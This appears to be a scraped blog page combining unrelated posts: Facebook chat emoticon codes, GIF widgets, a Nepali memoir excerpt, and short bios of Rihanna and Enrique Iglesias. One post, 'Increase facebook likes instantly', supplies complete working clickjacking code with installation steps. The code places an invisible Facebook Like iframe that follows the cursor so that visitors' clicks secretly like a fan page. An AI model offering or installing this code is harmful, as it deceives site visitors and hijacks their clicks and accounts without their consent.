How to put cartoons on facebook chat | emoticons and symbol art

Facebook is now the most used social networking site in the world, it has over a billion sign ups as of today. One of the best features of facebook that put myspace and friendster out of business is its facebook chat where you can say "hi" to your friends who are on and offline anytime. So today, I am going to share to you guys a facebook trick that just might help express yourself on its chat box, these are emoticons, cartoons or "meme" we see on blogs like 9gag.com. Learning this trick will surely impress your friends and will probably ask "how did you do it?"


Facebook emoticon art

I found this trick on a Spanish blog called el blog del nerd, it is really cool so I will share it to you guys. Using this emoticon is very easy, you just copy and paste the code given to each image at your chat box. 

forever alone meme

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Big Heart

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Spongebob smile

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Don't say by Nicholas Cage

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Eric Cartman

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Facebook smiley

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FFFUUUCCKKK

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Hello Kitty

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Me Gusta

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Mother of God

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                                                                        OK rage face

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Patrick Starfish

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Poker face

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Rage comics face

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Squidward Tentacles

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Yeah comic

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Classical facebook emoticons

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More art symbols

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ANGRY BIRD- [[157680577671754]]

NYAN CAT- [[nyancatlove]]

NICE- [[252497564817075]] nice :) [[252497564817075]]

That's all! I hope you liked it. If you do please click on like or share this post with your friends.

+Kshitij Wagle 

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Increase facebook likes instantly

Do you have a problem increasing your facebook likes?, then do not worry if you have low facebook likes it doesn't mean your blog site sucks, some people are just lazy clicking the like button even though they like your site. And because of that I will share to you a sneaky trick to let your visitors like your site instantly.

But before that I will show you something, a funny yet true illustrations about why some people get so many likes and some don't.

As you can see on the left and right, those girls with weird eyes wears a different outfit. On the right has many likes, friend request and notifications on the other, has only one notification.

In my observation 90% of those who like on the right side are male, because men love bikinis and those on the right... well she probably just receive a game invitation request.

This happened to me many times, I posted a joke and only 1 person liked it, then a girl friend of mine who is actually hot shared it, she got more than a 100 likes, 30+ friend request and a lot of comment. If I am some hot chick wearing short skirt wearing kinky dresses in my blog post author biography and blogging the same topic, then I would probably have tons of likes and comments. 

Anyway, lets go back to the main topic. Now I will share to you the sneaky trick to increase your facebook likes instantly. It is sneaky because when you install this trick, it lets your visitors like your site wherever they click on your blog. The reason for that is there is an invisible click button that follow your mouse cursor.

Installation

1. As usual go to your blogger template

2. Edit HTML and click on expand widget. Make sure your backed up your template in case you made some mistakes editing.

3. Search for this code using CTRL+F </head> and paste the below script above it.

 <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
}
function ClickJackFbShow(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
}
</script>

 4. Now search for the </body> tag and paste the code below above it.

 <div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
<iframe src="http://www.facebook.com/plugins/like.php?href=Fanpage URL Link&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack-button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hider();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseout(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouseout(function(){ClickJackFbShow();});
jQuery("textarea").mouseout(function(){ClickJackFbShow();});
jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();}); jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseover(function(){ClickJackFbHide();});
jQuery("a").mouseover(function(){ClickJackFbHide();});
jQuery("button").mouseover(function(){ClickJackFbHide();});
jQuery("textarea").mouseover(function(){ClickJackFbHide();});
jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>

5.  Just replace Fanpage URL Link with your own facebook fan page URL address. Then hit SAVE template. Refresh your page and you will notice something different about your mouse cursor.


NOTE: this trick will affect your blog when selecting or highlighting text, you cannot copy or paste a text or word if you apply this trick. And also it might affect your blog widget acting weird but if there is no problem you can proceed.

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Fun Widgets For Your Blog

Put these animations and cartoons on your site                

You can choose any of these animations and put them on your blog site. Go to blogger dashboard > Select Javascript/ HTML> select any of the images below> copy paste> then save.

1.

<img src="http://i637.photobucket.com/albums/uu99/syamzone/taztornado1dp.gif" />

<img src="http://img38.imageshack.us/img38/5909/anfish1eh7.gif" />

<img src="http://i637.photobucket.com/albums/uu99/syamzone/welcome-1.gif" />

<img src="http://img34.imageshack.us/img34/108/jetleedtourau5medium.gif" />

<img src="http://img38.imageshack.us/img38/8334/ansigt8um5.gif" />

<img src="http://img34.imageshack.us/img34/7412/vogel024qv1.gif" />

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चिना हरायको मान्छे

हरिवंश आचार्य नाम नै एउटा महत्वपूर्ण परिचय हो । संसारमा विरलै कोही नेपाली होलान्, जसलाई उनका बारेमा थाहा नभएको होस् । संसारमा विरलै नेपाली होलान्, जसलाई उनका बारमा सबै कुरा थाहा भएको होस् । रङ्गमञ्च र पर्दाका माध्यमबाट त उनलाई प्रायः सबैले देखेका र चिनेका छन् । उनी असल र महान् कलाकार मात्र होइनन् बेलाबेलामा भएका महत्वपूर्ण राजनीतिक तथा सामाजिक परिवर्तनका अभियन्ता पनि हुन् । यस्ता बहुआयामिक व्यक्तित्वको जीवन कस्तो छ ? अभिनय गरेर अरुलाई पेट मिचीमिची हसाउने र धरधरी रुवाउन पनि सक्ने यी महान् कलाकार आफ्नो वास्तविक जीवनमा कति हासेका छन् र कति रोएका छन् त ? यस्ता अनेक प्रसङ्गहरुको बेलिबिस्तार चिना हराएको मान्छे पुस्तकमा छन् । यो पुस्तक पढेपछि हामी उनलाई आफ्नो सबैभन्दा नजिकको आफन्तलाई झैँ चिन्नेछौँ ।

म सानो छँदा महिलालाई सुत्केरी व्यथा लाग्दा अस्पताल वा स्वास्थ्यचौकी लैजाने चलन थिएन । किनभने त्यतिखेर नजिकै अस्पताल र स्वास्थ्यचौकी नै थिएनन्, मानिसमा चेतना पनि थिएन । कोहीकोही घरमै सुँडिनी बोलाएर सुत्केरी गराउँथे । सुँडिनी पनि भनेको बेला उपलब्ध हुँदैनथे । गाउँघरका जान्ने र अनुभवी महिलाहरूले सुत्केरी गराउँथे । हिजोआज त धेरैजसो गाउँघरमा पनि स्वास्थ्यचौकी र अस्पतालमा लगेर सुत्केरी गराउने सुविधा भइसकेको छ ।
हिजोआज पहुँचवाला ज्योतिषीको सल्लाहअनुसार यति बजेर यति मिनेट जाँदा बच्चा जन्मायो भने राजयोग र भाग्यमानी हुन्छ भनेर पेट चिरेर बच्चा झ्क्निेने पनि गर्छन् । तर, त्यस्ता बच्चा पनि नपढ्ने, बदमास, धुन्धुकारी भएर निस्किएका छन् ।
चिना बिग्रिएकाले पनि ग्रहशान्ति गरेर आफ्नो भाग्य सुधार्ने प्रयास गर्छन् । तर, जे हुनु छ, भएरै छाड्दोरहेछ । जीवन त नमिलेकै हुँदो रहेछ । मानिसले एकातिरबाट मिलाउन खोज्छ तर जीवन अर्कोतिरबाट बिग्रिरहेको हुँदो रहेछ ।
जीवन भोग्दै जाने क्रममा मानिस कहिले अति भौतिकवादी र कहिले अति अध्यात्मवादी पनि हुँदो रहेछ । जीवन बाँच्न मानिसले विज्ञानको मात्र होइन, रहस्यवादको पनि सहारा लिंदो रहेछ ।
त्यसैले होला, हाम्रो देशका वामपन्थी नेताहरू लुकीलुकी मन्दिर गएको, ग्रहशान्ति गरेको, घरमा लुकाएर देवीदेवताको पूजा गरेको समाचार बेलाबेला आउने गर्छ । शायद उनीहरूलाई भौतिकवादी विचारले मात्र सुखशान्ति दिएन होला र त त्यसो गरे होलान् ।
जीवन भौतिकवाद र रहस्यवादको बीच बाटोबाट हिंड्दो रहेछ । हिंड्दै जाँदा कहिले भौतिकवादको बाटोतिर चिप्लिएर पुगिंदो रहेछ, कहिले रहस्यवादको बाटोतिर ।
म एघार वर्षको थिएँ । बाआमाले पहिल्यै मेरो चिना बनाएर राख्नुभएको थियो । भगवानले रक्षा गरून् भनेर उहाँहरूले चिनामा एक तोला सुनमा भगवान्को प्रतिमा कुँदेर राख्नुभएको रहेछ । आमा बितेपछि कसैले ‘चिनामा सुन छ’ भन्ने थाहा पाएर सुन चोर्दा चिनासमेत चोरेर लगेछ । त्यसैले ज्योतिषीसँग ‘मेरो भविष्य कस्तो छ ?’ भनेर कहिल्यै सोध्न पाइनँ ।
मेरो मात्र होइन, संसारमा जति मान्छे छन्, सबैको चिना हराएको छ । ज्योतिषीले बनाएको चिना भएर पनि भविष्य रहस्यमय छ । भोलि के हुन्छ ? कतिखेर कोसँग मिलन हुन्छ र कतिखेर कोसँग बिछोड, केही थाहा हुँदैन । यहाँ चिना हुने मान्छेहरूको पनि चिना हराएको छ ।
आमा बित्नुहुँदा, ओहो ! कत्ति मान्छे भेट्न आएका । कोही मिश्री, कोही फलफूल र कोही घिउ ल्याउँथे ।
म एघार वर्षको फुच्चे, रुन परै जाओस् फुर्किएछु, लाडिएछु । बच्चाहरूलाई आफ्नो घरमा पाहुना आएको असाध्यै मन पर्छ । मलाई पनि रमाइलो लाग्यो, आमा बितेको । तर, जब तेह्र दिनको काम सकियो, बिस्तारै बिस्तारै मान्छेहरू घट्दै गए । पछि त मान्छे आउनै छाडे, कोही पनि आएनन् । त्यसपछि पो थाहा भयो मेरी आमा मर्नुभएछ । तेह्र दिनपछि भने म आमा सम्झ्ेर रुन थालें ।
मान्छे आउन छाडे । आफन्त पनि टाढिए । माया गर्नेले गाली गर्न थाले, हेप्न थाले । आमा नभएको चोरले पनि थाहा पाउँदो रहेछ ‘यो घरको मान्छे मरेकाले यहाँ बच्चाहरू मात्रै बस्छन्’ भनेर ।
गायत्री, गीता, सप्तरुपा तिनोटी दिदीहरूको बिहे भइसकेको थियो । भाउजूहरूको परिवार पनि ठूलो भइसकेको थियो । हामी सबै एउटै घरमा अटाउँदैनथ्यौं । भाउजूहरू नजिकै अर्को घर किनेर सरेका थिए । अब घरमा हामी तीन जना मात्र हुन पुग्यौं– दिदीहरू जानदेवी, बिन्दु अनि म ।
घर पुरानो भएर ठाउँठाउँमा चर्किसकेको थियो । त्यसमाथि भाउजूहरूको पनि भाग दिनुपथ्र्यो । अब घर कि बनाउनुपर्ने भयो कि बेच्नुपर्ने । घर बनाउन हामीसँग पैसा थिएन । भाउजूहरूको पनि ठूलो परिवार, अभावै अभाव थियो । हामीलाई गरीबीले तातो पानीमा चोपल्दै निकाल्दै गथ्र्यो– न आमा, न बा, न आयस्रोत, केही पनि थिएन । भत्किनै लागेको पुरानो, सानो घरको भुईंतलामा राडीपाखी बुन्ने एउटा तामाङ परिवार बहालमा बस्थ्यो– महीनाको तीस–चालीस रुपैयाँ भाडा आउँथ्यो ।
संवत् २०२९ तिरको काठमाडौं शहर अलि शून्य थियो । पाँच–छ बजेपछि मान्छे हिंड्दैनथे बाटामा । हामी तीन जना दिदीभाइ एउटै पलङमा सुत्थ्यौं । चर्पी टाढा बारीमा थियो । राति त्यहाँ जाने आँट आउँदैनथ्यो । म केटो भएकोले झयालबाट पिसाब फेर्थें । दिदीहरू मटानको कोपरामा पिसाब फेरेर झयालबाट मिल्काउँथे ।
कोठा र मटान सल्लाको काठले बारेको थियो । एउटा बिजुलीको चिम झ्ुण्ड्यायो भने कोठामा पनि उज्यालो हुन्थ्यो । मटानमा, भर्याङमा पनि उज्यालो हुन्छ भनेर काठको बारमा माथितिर बिजुलीको बल्ब झ्ुण्ड्याउने एउटा प्वाल राखेको थियो कोठाभित्र । त्यसको ठीक मुनि पित्तलको कोपरा राखिएको थियो ।
एक रात मेरो पेट बेस्कन दुख्यो । दिसा गर्न जान मन लाग्यो । दिदीहरू सुतिरहेका थिए । भुईंमा कोपरा थियो, त्यसैमा बसें । त्यसको ठीक माथि कठबारको बिजुली बत्ती झ्ुण्ड्याउने प्वाल र ठीक अगाडि कोठामा ड्रेसिङ टेबल राखिएको थियो ।
घरमा चोर पसेको रहेछ । कोठामा खœयाकखुत्रुक गरेको, टुकी बालेको देखेर चोरले कठबारको प्वालबाट भित्र हेर्दोरहेछ । मैले अगाडि भएको ड्रेसिङ टेबलको ऐनामा मुखमा आधी रातो, आधी कालो रङ लगाएको मान्छे देखें । ‘त्यो मान्छे हो कि भूत ?’ छुट्याउन गाह्रो भयो मलाई ।
म आत्तिएर कराएँ । मेरा दिदीहरू पनि उठे । आखिर त्यो चोर नै रहेछ । मटानको झयालबाट चोर हामफालेर भाग्यो । हामीले करायौं– ‘चोर आयो, चोर आयो !’
भोलिपल्ट बिहान त्यहाँ एउटा चोर समातेको छ रे भन्ने सुनियो । म पनि हेर्न गएँ । जाँदा त त्यही मुखमा आधी रातो, आधी कालो रङ लगाएको, हाम्रो घरको कठबारको प्वालबाट चियाउने चोर पो रहेछ । त्यतिखेरै मैले भनिहालें– ‘यो चोर त हिजो राति हाम्रो घरमा पनि आएको थियो ।’
त्यसका हातखुट्टा बाँधिएका थिए डोरीले । ‘उसो भए तिमी पनि दुई लात हान यसलाई’ भने सबैले । मैले पनि बडो फुर्तीसँग हातखुट्टा बाँधिएको चोरलाई दुई लात हानें । चोरले पनि भन्यो– ‘पख्लास् ! मैले तँलाई चिन्या छु । तँलाई म के गर्छु हेर्दै जा ।’ मेरो सातोपुत्लो उड्यो ।
हरेक दिन साँझ् पर्यो कि मलाई डर लाग्थ्यो– त्यो चोर मलाई पिट्न आउँछ कि भनेर । भर्याङ उक्लँदा पनि भर्याङमुनि त्यो चोर लुकेको छ कि, त्यसले मेरो खुट्टा च्याप्प समात्छ कि भनेर दुई–तीन खुट्किला एकै पटकमा उफ्रेर भाग्थें । तर, त्यो चोर मलाई कुट्न कहिल्यै आएन ।
घर ज्यादै पुरानो भइसकेको थियो । पानी पर्दा पनि ‘घर ढल्ला कि’ भनेर हामी रातभरि सुत्दैनथ्यौं । त्यसबेला हाम्रो सहारा भनेकै हाम्री साहिंली सानिमा मात्र हुनुहुन्थ्यो । हामी डराउँछौं भनेर सानिमाका छोराहरू हरिहर र विष्णु ढकाल पालैपालो हाम्रो घरमा राति सुतिदिन बालुवाटारदेखि आउँथे ।
म १३ वर्षजतिको थिएँ । दशैंमा सबैले नयाँ–नयाँ लुगा सिलाउँथे । हामीसँग चाहिं पैसा थिएन ।
गैह्रीधारा माधवशमशेरको घरमा दशैं–तिहारमा जुवाको ठूलो खाल जम्थ्यो । कीर्तिनिधि बिष्ट पनि त्यहाँ जुवा खेल्न आउनेमा प्रमुख थिए । हामी कसैले जित्यो भने जितौरी पाइन्छ कि भनेर खाल वरिपरि झ्ुम्मिएर बस्थ्यौं र कसैको कौडाको दाउ पर्यो कि जितौरी माग्थ्यौं । दुई–चार रुपैयाँ पाउँथ्यौं ।
कीर्तिनिधि बिष्टले लगातार दाउ पारे । जसले दाउ पार्छ उसले चुरोट, रक्सी आदि किनिदिनुपर्ने रहेछ । त्यसबखत गैह्रीधारामा ५५५ चुरोट किन्न पाइँदैनथ्यो, नक्साल पुग्नुपथ्र्यो । ‘नक्साल गएर चुरोट किनेर कसले ल्याउँछ ?’ भनेर सोधे । ‘म ल्याउँछु’ भनेर मैले हात उठाएँ ।
‘५५५ चुरोट अनि अरू पनि के के सामान किनेर ल्याउनु’ भनेर तीन सय रुपैयाँ दिए । तर, पैसा पाएपछि चुरोट किन्न नक्साल जाँदै गइनँ । घरमै दुई–तीन दिन लुकेर बसें र दशैंमा मजाले लुगा किनें त्यो पैसाले । दिदीहरूले ‘पैसा कहाँबाट ल्याइस्’ भनेर केरकार गरे । मैले सत्य कुरा भन्दै भनिनँ । ‘बाटोमा पाएको’ भनेर टार्न खोजें तर पत्याएनन् ।

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Rihanna

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Rihanna

Birth name     Robyn Rihanna Fenty

Born     February 20, 1988 (1988-02-20)

Robyn Rihanna Fenty (born February 20, 1988), better known as simply Rihanna (pronounced /ri???n?/ ree-YAH-na), is a Barbadian R&B recording artist and songwriter.[2] Born in Saint Michael, Barbados, Rihanna moved to the United States at the age of 16 to pursue a recording career under the guidance of record producer Evan Rogers. She subsequently signed a contract with Def Jam Recordings after auditioning for then-label head Jay-Z.[3]

In 2005, Rihanna released her debut studio album, Music of the Sun, which peaked in the top ten of the Billboard 200 chart and features the Billboard Hot 100 hit single "Pon de Replay". Less than a year later, she released her second studio album, A Girl Like Me (2006), which peaked within the top five of the Billboard albums chart, and produced her first US number one hit single, "SOS", as well as Billboard Hot 100 top ten entries "Unfaithful" and "Break It Off". Rihanna's third studio album, Good Girl Gone Bad (2007), peaking at number two on the Billboard 200, featured five top ten hits including three US number one hit singles—"Umbrella", "Take a Bow" and "Disturbia"—and the worldwide hit "Don't Stop the Music". The album was nominated for nine Grammy Awards, winning Best Rap/Sung Collaboration for "Umbrella," which features Jay-Z.[4][5] Her fourth studio album, Rated R, was released in November 2009, and peaked at number four on the Billboard 200. Its first three singles, "Russian Roulette", "Hard" and "Rude Boy" peaked within the top ten of the Billboard Hot 100, with "Rude Boy" peaking at number one. She will release her fifth studio album, Loud, in November 2010, which features the lead single "Only Girl (In the World)".

Rihanna has achieved seven number-one singles on the Billboard Hot 100 since first appearing on the chart on June 11, 2005, which is the most by any artist during that time span. As of July 23, 2010, Rihanna has sold approximately 5,563,000 album units in the US. She has received several accolades, including the 2007 World Music Awards for World's Best-Selling Pop Female Artist and Female Entertainer of the Year, as well as the 2008 American Music Awards for Favorite Soul/R&B Female Artist and Favorite Pop/Rock Female Artist.[8][9] She serves as one of Barbados's honorary cultural ambassadors. In January 2010, Rihanna received two Grammy Awards for Jay-Z's 2009 single "Run This Town".

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Enrique Iglesias

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Enrique Miguel Iglesias Preysler (English /ɛnˈriːkeɪ ɪˈɡlɛsiəs/; Spanish pronunciation: [enˈrike iˈɣlesjas], born May 8, 1975), simply known as Enrique Iglesias, is a Spanish singer-songwriter, actor, and record producer based in America. Iglesias started his career in the mid-1990s on an American Spanish Language record label Fonovisa which helped turn him into one of the biggest stars in Latin America and the Hispanic Market in the United States becoming the biggest seller of Spanish-language albums of that decade. By the turn of the millennium he made a successful crossover into the mainstream market and signed a multi-album deal with Universal Music Group for an unprecedented US $48,000,000 with Universal Music Latino to release his Spanish albums and Interscope to release English albums. In 2010, he parted with Interscope and signed with another Universal Music Group label, Universal Republic.

Iglesias has sold over 100 million units worldwide, making him one of the best selling Spanish language artists of all time.^[3] He has had five BillboardHot 100 top five singles, including two number-ones, and holds the record for producing 23 number-one Spanish-language singles on the Billboard'sHot Latin Tracks. He has also had 13 number-one songs on Billboard's Dance charts, more than any other single male artist.^[4] Altogether, Iglesias has amassed more than 70 number-one rankings on the various Billboard charts.^[5] Billboard has called him The King of Latin Pop and The King of Dance.

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